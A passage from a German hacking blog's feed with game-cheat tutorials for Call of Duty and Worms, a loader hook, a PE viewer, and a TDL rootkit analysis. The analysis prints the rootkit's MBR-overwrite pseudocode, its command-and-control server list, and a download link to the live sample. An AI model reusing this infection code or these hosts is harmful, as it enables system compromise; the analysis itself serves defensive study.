<p><strong>Cheat Engine:</strong> Ein sehr guter Memory-Scanner. Wer zum ersten Mal das Tool benutzt sollte den integrierten Tutorial mal machen. Ich werde hier bestimmt nicht erklären wie man das Teil bedient.</p>
<p><strong>ReClass:</strong> Fast wichtiger als ein Memory-Scanner ist dieses tolle Programm. Es hilft uns unbekannte Strukturen zu erforschen. Wer zum ersten Mal damit arbeitet sollte sich unbedingt den Video Tutorial anschauen. Es ist etwas schwierig dafür einen Download zu finden, deshalb hab ich es hier mal hochgeladen: <a href="http://www.xup.in/dl,19971407/ReClass.rar/" target="_blank">klick</a></p>
<p><strong>CoD 7: BO</strong></p>
<p>Als Beispiel hab ich mal das Spiel Call of Duty: Black Ops rausgesucht. Obwohl das Spiel brandneu ist basiert es im Kern immer noch auf der uralten Quake Engine. Die Engine ist mittlerweile Open-Source und dadurch hat man eine große Hilfe, da man im Quellcode z.B. nachschauen kann welche Strukturen es gibt. Trotzdem werde ich in diesem Fall so tun als ob es diese Hilfe nicht gibt. Ich werde hier nur den Single Player analysieren, aber man kann davon ausgehen das es im Multiplayer sehr ähnlich aussieht. Ich verwende die Retail Version ohne installierte Updates. Wer Updates installiert hat wird kaum Unterschiede haben, nur das die Speicheradressen eben etwas unterschiedlich sind. Um das Spiel bequem zu analysieren sollte man alle Grafikeinstellungen auf die niedrigste Stufe setzen, kleinste Auflösung und natürlich den Fenstermodus aktivieren.</p>
<p>Das Spiel lässt sich sehr gut mit Olly debuggen wenn man so vorgeht: Spiel starten und eine Mission starten, Olly starten und CoD7 Prozess attachen, danach sofort mit RUN das Spiel weiterlaufen lassen.</p>
<p><strong>Aller Anfang ist… leicht</strong></p>
<p>Es gibt in CoD7 zwei sehr tolle Wege zum Anfangen:</p>
<ol>
<li><strong>1.</strong> Der klassische Weg: Man benutzt einen Memory-Scanner und scannt nach den Kugeln im Waffenmagazin.</li>
<li><strong>2.</strong> Man benutzt den Debugger und sucht nach verdächtigen Textstrings. Meist sind es Entwicklerkommentare  oder Fehlermeldungen die einem sehr viel über den Code an dieser Stelle verraten.</li>
</ol>
<p>Bei Methode 1 sollten keine Probleme auftauchen, wer den Cheat Engine Tutorial gemacht hat kann das auf jeden Fall auch. Einfach die Codestelle finden die bei jedem Schuss die Kugeln herunterzählt. Die Stelle ist bei mir bei Speicheradresse (Virtual Address = VA) 0062D7F8 und sieht so aus:<br />
<code>
<pre class="brush: cpp; title: ;">DEC EDX
AND EDX,ECX
MOV DWORD PTR DS:[EAX+4],EDX
POP EDI</pre>
<p></code></p>
<p>Diese Funktion von diesem Codeteil beginnt bei 0062D7A0 und wird bei jedem Schuss 2-mal aufgerufen. Wer ein paar Mal mit unterschiedlichen Waffen schießt und sich die Register und Stack anschaut wird schnell herausfinden, dass diese Funktion 3 Parameter hat:<br />
<code>
<pre class="brush: cpp; title: ;">function_62D7A0(int playerWeaponStruct, int weaponClassIndex, int howManyBullets)</pre>
<p></code></p>
<p>2-mal wird sie aufgrufen und 2-mal wird ein unterschiedlicher Strukturpointer übergeben. Mit ein bisschen ausprobieren kriegt man schnell raus das es nur einen „Master“ gibt auf den es ankommt bei mir ist es die Struktur die beim 2. Aufruf übergeben wird 01BDB418.<br />
<a href="http://www.xup.in/pic,15568146/magazin_decrease.JPG" target="_blank"><img src="http://www.xup.in/pic,15568146/magazin_decrease.JPG" alt="" /></a><br />
Die Funktion hat aber noch mehr interessante Details, wer lange genug durch ausprobieren (schießen mit unterschiedlichen Waffen) die Funktion durchsteppt wird merken das die 2 letzten CALLs am interessantesten sind. Der CALL 00534DF0 beinhaltet nur 2 Maschinenbefehle, der 2. Maschinenbefehl beinhaltet eine sehr interessante Adresse. Nämlich eine Adresse die zu einer Art Tabelle führt die alle Waffen Strukturen, die es im Singleplayer gibt, beinhaltet. Bei mir liegt die Adresse bei BBC6E8. Hier kommt auch der 2. Parameter der Funktion ins Spiel. Ich habe den Parameter weaponClassIndex genannt, weil er genau dafür da ist. Nehmen wir an wir schießen mit einer SPAS Dragon‘s Breath, dann wird der Index 23 (0&#215;17) übergeben, dieser CALL liefert dann den 23-te Strukturpointer zurück. Der Index 0 steht übrigens für „Keine Waffe in der Hand“. Schauen wir noch kurz den 2. interessanten CALL an, den dieser liefert den richtigen Pointer zu unserem Magazin zurück.  Es wird in der Waffenklasse geschaut welcher Magazin Typ unsere Waffe hat, danach wird in der playerWeaponStruct dieser Typ gesucht und wenn gefunden der Zeiger auf diesen Wert zurückgeliefert. Hört sich vielleicht alles noch sehr unverständlich an, aber dafür haben wir jetzt ReClass. Wir haben schon 2 Strukturen gefunden die wir uns in ReClass genauer anschauen können nämlich 01BDB418 und BBC6E8.</p>
<p><strong>ReClass</strong></p>
<p>Zunächst mal die Waffenklassen in ReClass, bei mir sieht es so aus:<br />
<a href="http://www.xup.in/pic,73487590/weaponclasses.JPG" target="_blank"><img src="http://www.xup.in/pic,73487590/weaponclasses.JPG" alt="" /></a><br />
Das alles sind Pointer zu der eigentlich Waffenklasse, das kann man in ReClass super darstellen. Jetzt beginnt das rumprobieren und testen um rauszufinden was die einzelnen Variablen in einer Waffenklasse bedeuten. Ich nehme wieder die SPAS DB als Beispiel. Die hat den Index 23 also ist die Klasse bei E418E0. Die Magazingröße kann man schnell entdecken und auch den MagazinTyp wissen wir schon. Wer sich mehrere Klassen anschaut wird auch schnell die Variable für die maximal tragbare Munition finden. In diesen Waffenklassen sollten wirklich alle Informationen über eine Waffe drin stehen, also auch Rückstoß, Feuerrate, Schaden kann man mit ausprobieren und vergleichen leicht finden. SPAS-12 und SPAS DB eignen sich besonders gut als Vergleichsobjekte. Die SPAS DB ist die stärkste Waffe im Singleplayer, irgendwo ist also ein Wert der das definiert. Durch den direkten Vergleich mit der normalen SPAS lassen sich schnell die entscheidenden Werte finden. Die einzelnen Werte kann man leicht mit CheatEngine manipulieren und dann testen, wie wäre es z.B. mit einer FAL und 200er Magazin?<br />
<a href="http://www.xup.in/pic,13093686/FN_FAL_200_Ammo.JPG" target="_blank"><img src="http://www.xup.in/pic,13093686/FN_FAL_200_Ammo.JPG" alt="" /></a><br />
Kein Problem, die Waffe verhält sich nun so als ob sie wirklich standardmäßig ein 200er Magazin hat. Man kann sich also toll die Waffen modden wie es einem gefällt.</p>
<p><strong>to be continued&#8230;</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.raidrush.ws/2010/11/20/fortgeschrittene-trainer-erstellen-teil-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Die größten Filehoster überholen Rapidshare</title>
		<link>http://blog.raidrush.ws/2010/11/14/die-grosten-filehoster-uberholen-rapidshare/</link>
		<comments>http://blog.raidrush.ws/2010/11/14/die-grosten-filehoster-uberholen-rapidshare/#comments</comments>
		<pubDate>Sun, 14 Nov 2010 17:42:32 +0000</pubDate>
		<dc:creator>raidrush</dc:creator>
				<category><![CDATA[Netzwelt]]></category>
		<category><![CDATA[Filehoster]]></category>

		<guid isPermaLink="false">http://blog.raidrush.ws/?p=1629</guid>
		<description><![CDATA[Der vor einem Jahr noch Weltweit führende Filehoster Rapidshare.com wurde nun von der Konkurenz eingeholt und sogar überholt. Im Graph links ist deutlich zu sehen das Rapidshare einen einbruch an Nutzern hat, verstärkt seit dem Update. Hotfile.com der nun größte Filehoster hält seine Besucherzahlen ebenso wie Megaupload.com sehr stabiel. Auffällig schnell  wächst das relativ neue [...]]]></description>
			<content:encoded><![CDATA[<p>Der vor einem Jahr noch Weltweit führende Filehoster Rapidshare.com wurde nun von der Konkurenz eingeholt und sogar überholt.</p>
<p><img class="alignleft size-full" title="statistik graph - rapidshare / fileserv / filefactory / megaupload" src="/wp-content/uploads/graph.png" alt="graph" width="400" height="220" /><br />
Im Graph links ist deutlich zu sehen das Rapidshare einen einbruch an Nutzern hat, verstärkt seit dem Update. <em>Hotfile.com</em> der nun größte Filehoster hält seine Besucherzahlen ebenso wie <em>Megaupload.com</em> sehr stabiel. Auffällig schnell  wächst das relativ neue Angebot von <em>Fileserve.com</em>, was durch die starke verbreitung von Links zu diesem Hoster kaum unentedeckt bleiben dürfte.<span id="more-1629"></span></p>
<p>Fileserve.com sowie Megaupload.com hosten die Daten auf Choopa.com, einem der größten Serveranbieter in den USA. Hotfile.com lagert seine Daten auf einem eigenem Hostingunternehmen ebenfalls in den Staaten. Durch die große entfernung zum Kunden in Europa sind die Ping zeiten im vergleich zu Rapidshare (die in Deutschland hosten) relativ hoch.</p>
<p><img class="alignright size-full" title="graph - netload.in / filefactory.com / fileserve.com" src="/wp-content/uploads/graph2.png" alt="graph2" width="400" height="220" /><br />
Im vergleich zu anderen Filehostern wie Beispielsweise <em>Filefactory.com</em>, <em>Netload.in</em> oder <em>Depositfiles.com</em> die ihre Nutzerzahlen nicht steigern können, wächst Fileserve.com weiterhin sehr schnell. Wenn man sich die Herkunft der Besucher ansieht stellt man fest das diese global gestreut sind. Ein großer Anteil der Nutzer kommt aus asiatischen Ländern wie Japan. Das starke Wachstum wurde wohl durch die internationale Verbreitung von Blogs und Foren erreicht, die ein großes spektrum an Filmen und Software auf Fileserve.com bieten.</p>
<p>Ein deutsches Angebot auf Fileserve.com ist bisher noch nicht aufgetaucht, hier können kleinere &#8220;heimische&#8221;-Filehoster wie Uploaded.to, Netload.in und viele Weitere noch  die Nutzer im deutschsprachigem Raum überzeugen. Wir hoffen das es auch weiterhin viele verschiedene Filehoster gibt die sich den Markt teilen und für Wettbewerb sorgen. Denn wenige große Filehoster könnten sonst durch ihre &#8220;monopol&#8221;-Stellung die Preis unabhängig höher treiben.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.raidrush.ws/2010/11/14/die-grosten-filehoster-uberholen-rapidshare/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>PE Header Infos</title>
		<link>http://blog.raidrush.ws/2010/10/03/pe-header-infos/</link>
		<comments>http://blog.raidrush.ws/2010/10/03/pe-header-infos/#comments</comments>
		<pubDate>Sun, 03 Oct 2010 17:42:53 +0000</pubDate>
		<dc:creator>N0S</dc:creator>
				<category><![CDATA[Programmiersprachen]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[CFF Explorer]]></category>
		<category><![CDATA[PE]]></category>

		<guid isPermaLink="false">http://blog.raidrush.ws/?p=1624</guid>
		<description><![CDATA[Wenn es um PE Header Infos auslesen und bearbeiten geht ist nach wie vor der CFF Explorer das beste Tool das man im Internet finden kann. Trotzdem habe ich mir für ein anderes Projekt (gibt es vielleicht bald im Blog) einen kleinen PE Info Viewer programmiert, der alle relevanten Infos in eine Textdatei schreibt und [...]]]></description>
			<content:encoded><![CDATA[<p>Wenn es um PE Header Infos auslesen und bearbeiten geht ist nach wie vor der <a href="http://www.ntcore.com/exsuite.php" target="_blank" rel="nofollow">CFF Explorer</a> das beste Tool das man im Internet finden kann. Trotzdem habe ich mir für ein anderes Projekt (gibt es vielleicht bald im Blog) einen kleinen PE Info Viewer programmiert, der alle relevanten Infos in eine Textdatei schreibt und dabei die Namen der Structs dazu schreibt. <span id="more-1624"></span><br />
Unterstützt werden nur 32-Bit PE Dateien, aber man kann es ganz einfach 64-Bit kompatibel machen, denn man muss nur die Structs anpassen, die eine &#8220;32&#8243; in Namen haben z.B. PIMAGE_NT_HEADERS32 -&gt; PIMAGE_NT_HEADERS64.</p>
<p><a href="http://www.xup.in/dl,43187315/PEInfo.rar/" target="_blank">Download exe &amp; src </a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.raidrush.ws/2010/10/03/pe-header-infos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SFT Loader Hook v1.0</title>
		<link>http://blog.raidrush.ws/2010/09/19/sft-loader-hook-v1-0/</link>
		<comments>http://blog.raidrush.ws/2010/09/19/sft-loader-hook-v1-0/#comments</comments>
		<pubDate>Sun, 19 Sep 2010 19:59:46 +0000</pubDate>
		<dc:creator>N0S</dc:creator>
				<category><![CDATA[Programmiersprachen]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Hacker]]></category>
		<category><![CDATA[Hook]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[SFT]]></category>
		<category><![CDATA[SFT Loader]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.raidrush.ws/?p=1621</guid>
		<description><![CDATA[Einige werden sich sicher schon gefragt haben, wo den der wöchentliche Blog Artikel von N0S bleibt. Ich bin in der Tat etwas spät dran, aber ich denke das Warten hat sich gelohnt, denn es gibt eine neue Version von meinem SFT Hook. Die Entwicklung des SFT Loaders sieht ziemlich tot aus, vielleicht kann ich den [...]]]></description>
			<content:encoded><![CDATA[<p>Einige werden sich sicher schon gefragt haben, wo den der wöchentliche Blog Artikel von N0S bleibt. Ich bin in der Tat etwas spät dran, aber ich denke das Warten hat sich gelohnt, denn es gibt eine neue Version von meinem SFT Hook.<span id="more-1621"></span></p>
<p>Die Entwicklung des SFT Loaders sieht ziemlich tot aus, vielleicht kann ich den Entwickler mit dieser neuen SFT Hook Version motivieren mal bisschen weiter zu programmieren. Der Entwickler hat in den aktuellen Versionen ein paar API Checks eingebaut. In der 2009 Final Version ist es lediglich einer, aber in der 2010 Alpha Version sind es gleich 3 Stück. Nun ja die Check Methode ist ziemlich schlecht und der Entwickler hat dadurch den SFT Loader noch mehr zum Ressourcenfresser  gemacht, weil er unnötigerweise ständig die APIs checkt in einer Endlosschleife. Ich bin trotzdem schon sehr gespannt was er in die neue Version einbaut, die hoffentlich bald erscheinen wird.</p>
<p>Wie in dem Thread schon angekündigt habe ich für den neuen Hook einen eigenen Loader geschrieben. Patchen ist dadurch überflüssig, man muss einfach nur den Loader und die DLL in das SFT Loader Verzeichnis kopieren und dann eben immer den Loader ausführen. Der Loader ist komplett in C geschrieben mit reinen Windows APIs. Kompiliert wurde er mit speziellen Compiler und Linker Einstellungen und dadurch hat er lediglich eine Größe von ca. 5 KB, damit ist er sogar 1,5KB kleiner als die DLL.</p>
<p>Die sft_hook.dll ist und bleibt in reiner Assemblersprache. Ich habe nur einiges verbessert und die ShellExecute Funktion entfernt, damit die DLL komplett SFT Loader Versionsunabhängig wird. Vielleicht werde ich sie wieder hinzufügen, dann aber erst wenn eine neue SFT Loader Version erschienen ist.</p>
<p>Viele werden es sicher nicht so toll finden, dass es wieder eine neue SFT Hook Version gibt, deshalb habe ich den <strong>Binary Download „Noob-sicher“</strong> gemacht um die Kritiker etwas zu beschwichtigen. Also fragt mich bloß nicht nach dem RAR Passwort…</p>
<p><strong>Unterstütze Betriebssysteme:</strong> Win XP, Vista, 7 je 32 und 64 Bit<br />
<strong>Unterstütze SFT Loader:</strong> Alle aktuellen von der SFT Webseite (2009 Final, 2010 Alpha, Su-Bi Loader 2009 Final)</p>
<p><strong>Passwort:</strong> 31f777292fa6c86283c049ec21fccc6d<br />
<strong>Download:</strong> <a href="http://www.xup.in/dl,16255882/sft_hook_v1.0_bin.rar/" target="_blank">http://www.xup.in/dl,16255882/sft_hook_v1.0_bin.rar/</a><br />
<strong>Source:</strong> <a href="http://board.raidrush.ws/showthread.php?t=741219" target="_blank">http://board.raidrush.ws/showthread.php?t=741219</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.raidrush.ws/2010/09/19/sft-loader-hook-v1-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Worms Reloaded Trainer +1</title>
		<link>http://blog.raidrush.ws/2010/09/13/worms-reloaded-trainer-1/</link>
		<comments>http://blog.raidrush.ws/2010/09/13/worms-reloaded-trainer-1/#comments</comments>
		<pubDate>Mon, 13 Sep 2010 19:06:53 +0000</pubDate>
		<dc:creator>N0S</dc:creator>
				<category><![CDATA[Gamehacking]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Cheat]]></category>
		<category><![CDATA[Trainer]]></category>
		<category><![CDATA[Worms]]></category>

		<guid isPermaLink="false">http://blog.raidrush.ws/?p=1619</guid>
		<description><![CDATA[Auf Wunsch gibt es nun den Worms Trainer +1 (9999 Geldeinheiten) hier zum Download. Ich habe auch gleich noch Unterstützung für Update 2 eingebaut. Der Trainer funktioniert also mit der original Version (ohne Update) und mit Update 2. Update 1 wird nicht unterstützt. Kompletter Source gibt es hier: http://board.raidrush.ws/showthread.php?t=736119 Download kompiliert: Klick mich]]></description>
			<content:encoded><![CDATA[<p>Auf Wunsch gibt es nun den Worms Trainer +1 (9999 Geldeinheiten) hier zum Download. Ich habe auch gleich noch Unterstützung für Update 2 eingebaut. Der Trainer funktioniert also mit der original Version (ohne Update) und mit Update 2. Update 1 wird <strong>nicht</strong> unterstützt.<span id="more-1619"></span></p>
<p>Kompletter Source gibt es hier: <a href="http://board.raidrush.ws/showthread.php?t=736119" target="_blank">http://board.raidrush.ws/showthread.php?t=736119</a></p>
<p>Download kompiliert: <a href="http://www.xup.in/dl,91757952/WormsReloadedTrainer.rar/" target="_blank">Klick mich</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.raidrush.ws/2010/09/13/worms-reloaded-trainer-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malware Analyse: TDL Rootkit 64-Bit Infektion</title>
		<link>http://blog.raidrush.ws/2010/09/11/malware-analyse-tdl-rootkit-64-bit-infektion/</link>
		<comments>http://blog.raidrush.ws/2010/09/11/malware-analyse-tdl-rootkit-64-bit-infektion/#comments</comments>
		<pubDate>Sat, 11 Sep 2010 19:32:24 +0000</pubDate>
		<dc:creator>N0S</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Debugger]]></category>
		<category><![CDATA[Decrypter]]></category>
		<category><![CDATA[Hacker]]></category>
		<category><![CDATA[Hook]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Ollydbg]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[Rootkit]]></category>
		<category><![CDATA[TDL]]></category>
		<category><![CDATA[TDSS]]></category>

		<guid isPermaLink="false">http://blog.raidrush.ws/?p=1618</guid>
		<description><![CDATA[Ich konnte mir eine neuere Version des TDL Rootkits besorgen und diese hat schon Unterstützung für 64-Bit Windows Betriebssysteme. Von dieser besonderen Version konnte man auch einiges bei News Seiten lesen (z.B. bei Computerbase), denn es ist in der Tat das erste massenhaft in Umlauf gebrachte Rootkit, das in der Lage ist die Rootkit Funktionen [...]]]></description>
			<content:encoded><![CDATA[<p>Ich konnte mir eine neuere Version des TDL Rootkits besorgen und diese hat schon Unterstützung für 64-Bit Windows Betriebssysteme. Von dieser besonderen Version konnte man auch einiges bei News Seiten  lesen (z.B. bei Computerbase), denn es ist in der Tat das erste massenhaft in Umlauf gebrachte Rootkit, das in der Lage ist die Rootkit Funktionen in einem 64-Bit Windows zu nutzen. Trotzdem sollte man sich nicht beirren lassen: 64-Bit Windows ist immer noch viel sicherer als das 32-Bit Pendant. Wer also die Wahl hat (ab 2 GB RAM und halbwegs aktuelle Hardware) sollte sich unbedingt für die 64-Bit Variante entscheiden!<span id="more-1618"></span></p>
<p>Der 32-Bit Infektionsvorgang wurde nicht verändert es steht also alles schon in meinen anderen Blog Artikeln. Der PE Loader wurde auch kaum verändert, es ist also wirklich nur die 64-Bit Infektion neu und genau die wollen wir uns natürlich mal anschauen.<br />
Ich habe wieder den PE Loader entfernt um den Kern besser analysieren zu können. Die Vorgehensweise war genau gleich. Wer es nachmachen will hier die neuen Offsets:</p>
<p>Kopier-Methode (hier dumpen): <code>00401722</code><br />
Start als EXE: <code>0040247E CALL EBX</code><br />
Start als DLL: <code>0040246E CALL EBX</code></p>
<p>Schauen wir uns mal die Hauptmethode an in Pseudocode:<br />
<code>
<pre class="brush: cpp; title: ;">BOOL startInstall(BOOL validDLL, HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (!validDLL)
{
	GetTempPathW(0x104, &amp;PathName);
	GetTempFileNameW(&amp;PathName, 0, 0, &amp;NewFileName);
	if (is64BitWindows()) //API: IsWow64Process
    {
      BOOl infectSuccess = startInfection(GetModuleHandleA(0));
	  //eigene Datei ins Temp Verzeichnis kopieren und self-delete
      copyToTempAndDelete(0);
      if (infectSuccess)
      {
		//hole Reboot Rechte
        if ( RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, 1, 0, var) &gt;= 0 )
		{
          ExitWindowsEx(EWX_REBOOT|EWX_FORCEIFHUNG, 0); //erzwinge reboot
		}
      }
      ExitProcess(0);
    }
//32bit infection
}
//als dll ausgefuehrt
}</pre>
<p></code><br />
Das Rootkit greift bei 64-Bit Windows den MBR an, deshalb kommt bei erfolgreicher Infektion ein erzwungener Reboot am Ende. Wer also eine Datei ausführt und plötzlich wird Windows neugestartet, kann schon ziemlich sicher sein, dass er sich etwas eingefangen hat.<br />
Schauen wir uns mal die startInfektion Methode (Offset 401A1A im Dump) an.<br />
<code>
<pre class="brush: cpp; title: ;">BOOL startInfection(DWORD var)
{
	//Speicher entschluesseln mit Methode 4019D8 und 401671
	snprintf(&amp;var, 0xFFF, &quot;%.*s&quot;, var, var); //PC ID gebaut
    snprintf(&amp;var, 0xFFF, &quot;%.*s&quot;, var, var); //C&amp;C Server
	sscanf(&amp;Dest, &quot;%[^;];%[^;];%[^;];&quot;, &amp;var, &amp;var, &amp;var);
	sscanf(&amp;var, &quot;%[^|]|%[^|]|%s&quot;, &amp;var, &amp;var, &amp;var);
	snprintf(&amp;var,0xFFF,&quot;[main]\r\naid=%s\r\nsid=%s\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=%s\r\nwsrv=%s\r\npsrv=%s\r\n&quot;,&amp;var,&amp;var,&amp;var,&amp;var,&amp;var);

	HANDLE fileHandle = getHandle();
	fileOperation(0x8, 0, fileHandle, 37, 1, var);  //lesen
	fileOperation(0x200, 0, fileHandle, 40, 1, var); //lesen aktueller MBR

	LPVOID space = VirtualAlloc(0, var, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); //neuer speicher

	//ideal um einzelne dateien zu dumpen, siehe adresse bei buffer
	//dateien werden verschluesselt in den neuen space geschrieben
	sub_4017C9(var, &quot;cfg.ini&quot;, 0, space, buffer, var, var, 0x04FFFFFF);
	//ausgelesener MBR
	sub_4017C9(var, &quot;mbr&quot;, 1, space, buffer, 0x200, var, 0x04FFFFFF);
	//loader 16, 32, 64 bit
	sub_4017C9(var, &quot;ldr16&quot;, 2, space, buffer, 0x3C9, var, 0x04FFFFFF);
	sub_4017C9(var, &quot;ldr32&quot;, 3, space, buffer, 0xC3E, var, 0x04FFFFFF);
	sub_4017C9(var, &quot;ldr64&quot;, 4, space, buffer, 0xE48, var, 0x04FFFFFF);
	//driver 32,64 bit
	sub_4017C9(var, &quot;drv32&quot;, 5, space, buffer, var, var, 0x04FFFFFF);
	sub_4017C9(var, &quot;drv64&quot;, 6, space, buffer, 0x5DEC, var, 0x04FFFFFF);
	//32bit dll UPX packed
	sub_4017C9(var, &quot;cmd.dll&quot;, 7, space, buffer, var, var, 0x04FFFFFF);
	 //64bit dll MPRESS packed
	sub_4017C9(var, &quot;cmd64.dll&quot;, 8, space, buffer, 0x3000, var, 0x04FFFFFF);
	sub_4017C9(var, &quot;bckfg.tmp&quot;, 9, space, buffer, var, var, 0x04FFFFFF);

	//schreibe sonstige verschluesselte daten
	fileOperation(var, var, fileHandle, 42, 0, var);
	//schreibe Rootkit MBR
	return fileOperation(0x200, 0, fileHandle, 42, 0, var);
}</pre>
<p></code><br />
Die Methode startet recht langweilig. Am Anfang wird Speicher reserviert und ziemlich viel entschlüsselt. Die Methode bei 401671 ist für das Entschlüsseln zuständig. Interessant ist vor allem der 1. Parameter, den der zeigt auf den Speicherbereich der zu entschlüsseln ist. Danach werden mit <em>snprintf</em> und <em>sscanf</em> Strings manipuliert und gebaut u.a. auch die Konfigurationsdatei mit den TDL Servern. Interessant wird es als die Methode 401098 getHandle() aufgerufen wird:<br />
<code>
<pre class="brush: cpp; title: ;">HANDLE getHandle()
{
	GetWindowsDirectoryW(&amp;Buffer, 0x104);
	// \\??\\C:
	if ( ZwOpenFile(phandle, SYNCHRONIZE, var, var, 7, 32) &gt;= 0 )
	{
    if ( ZwDeviceIoControlFile(phandle, 0, 0, 0, var, IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS, 0, 0, var, 32) &gt;= 0 )
    {
      snwprintf(&amp;Dest, 0x103, L&quot;\\??\\physicaldrive%d&quot;, v4);
      RtlInitUnicodeString(var, var);
	  // \\??\\physicaldrive0
      if (ZwOpenFile(&amp;result, SYNCHRONIZE, var, var, 7, 32) &lt; 0)
        result = 0;
    }
    ZwClose(phandle);
	}
	return result;
}</pre>
<p></code><br />
Diese Methode holt ein Datei Handle zu <em>physicaldrive0</em>. <em>physicaldrive0</em> ist ein symbolischer Link zu <em>\Device\Harddisk\DR0</em>. Kurz gesagt, hier wird der Zugriff auf den MBR vorbereitet.</p>
<p>Kurz nach dieser Methode erfolgt auch schon die erste Leseoperation. Die Methode bei 401737 fileOperation() ist für Dateioperationen zuständig. Die Methode ist relativ klein, aber trotzdem sehr mächtig:<br />
<code>
<pre class="brush: cpp; title: ;">DWORD fileOperation(DWORD size, var, HANDLE fileHandle, var, UCHAR DataIn, DWORD buffer)
{
	SCSI_PASS_THROUGH_DIRECT swb;
	memset(&amp;swb, 0, sizeof(swb));
	//fuelle struct
	ZwDeviceIoControlFile(fileHandle, 0, 0, 0, &amp;IoStatusBlock, IOCTL_SCSI_PASS_THROUGH_DIRECT, var, 0x48, var, 0x48);
	return IoStatusBlock;
}</pre>
<p></code><br />
Um diese Methode zu verstehen muss man einiges in MSDN nachlesen. Es wird die Struktur <em>SCSI_PASS_THROUGH_DIRECT</em> genullt und dann mit den entsprechenden Werten gefüllt. Die Methode erlaubt lese und schreibe Operationen.<br />
Bei den ersten 2 Aufrufen werden Leseoperationen ausgeführt. Der 2. Aufruf liest den momentanen MBR aus.<br />
Danach wird mit <em>VirtualAlloc</em> neuer Speicher reserviert. Schließlich werden die Dateien (siehe Dateiname) in den neuen Speicher verschlüsselt geschrieben. Zum Verschlüsseln dient die Methode von vorhin 401671. Das ist ein sehr guter Zeitpunkt um die Dateien zu dumpen zur weiteren Analyse.<br />
Anschließend folgen 2 Schreibeoperationen. Die erste schreibt die zuvor verschlüsselten Daten und die zweite überschreibt den aktuellen MBR mit dem von TDL. Wenn das alles erfolgreich war wird ein Wert größer Null zurückgeliefert und Windows wird, wie bereits oben beschrieben neu gestartet.</p>
<p>Die Config Datei ist mal wieder interessant mit den ganzen Serveradressen:<br />
<code>
<pre class="brush: cpp; title: ;">[main]
aid=30136
sid=0
[inject]
*=cmd.dll
*(x64)=cmd64.dll
[cmd]
srv=https://68b6b6b6.com/;https://61.61.20.132/;https://34jh7alm94.asia;https://61.61.20.135/;https://nyewrika.in/;https://rukkieanno.in/
wsrv=http://lk01ha71gg1.cc/;http://zl091kha644.com/;http://a74232357.cn/;http://a76956922.cn/;http://91jjak4555j.com/
psrv=http://cri71ki813ck.com/</pre>
<p></code><br />
Die cmd64.dll ist mit MPRESS gepackt, dieser Packer bietet leider keine eigene Unpack Option wie UPX, es ist aber ein Kinderspiel diese Datei manuell zu unpacken.</p>
<p>Die Vorgehensweise des MBR und der anderen Dateien werde ich hier nicht erläutern, das kann man mittlerweile in anderen Blogs von Antiviren-Herstellern nachlesen.</p>
<p><strong>Schlusswort</strong></p>
<p>Das Rootkit wird immer besser und gefährlicher. Ich bin schon sehr gespannt auf eine neue Version. Das Rootkit bietet auch noch sehr viel Verbesserungspotential z.B. ist es immer noch sehr einfach zu analysieren obwohl die Entwickler sicher wissen wie sie es schwerer machen könnten.<br />
Wer erkennen möchte ob er sich das TDL eingefangen hat sollte am besten das TDSSKiller Tool von Kaspersky einsetzen: http://support.kaspersky.com/downloads/utils/tdsskiller.zip</p>
<p>Wer die neue Version des Rootkits selber mal anschauen möchte hier der Download (PW: infected): http://www.xup.in/dl,15799673/TDL_x64.rar/</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.raidrush.ws/2010/09/11/malware-analyse-tdl-rootkit-64-bit-infektion/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Malware Analyse: Gefährliches Rootkit TDL – Teil 2</title>
		<link>http://blog.raidrush.ws/2010/09/05/malware-analyse-gefahrliches-rootkit-tdl-%e2%80%93-teil-2/</link>
		<comments>http://blog.raidrush.ws/2010/09/05/malware-analyse-gefahrliches-rootkit-tdl-%e2%80%93-teil-2/#comments</comments>
		<pubDate>Sun, 05 Sep 2010 15:10:06 +0000</pubDate>
		<dc:creator>N0S</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Debugger]]></category>
		<category><![CDATA[Decrypter]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Hacker]]></category>
		<category><![CDATA[Hook]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Ollydbg]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[Rootkit]]></category>

		<guid isPermaLink="false">http://blog.raidrush.ws/?p=1616</guid>
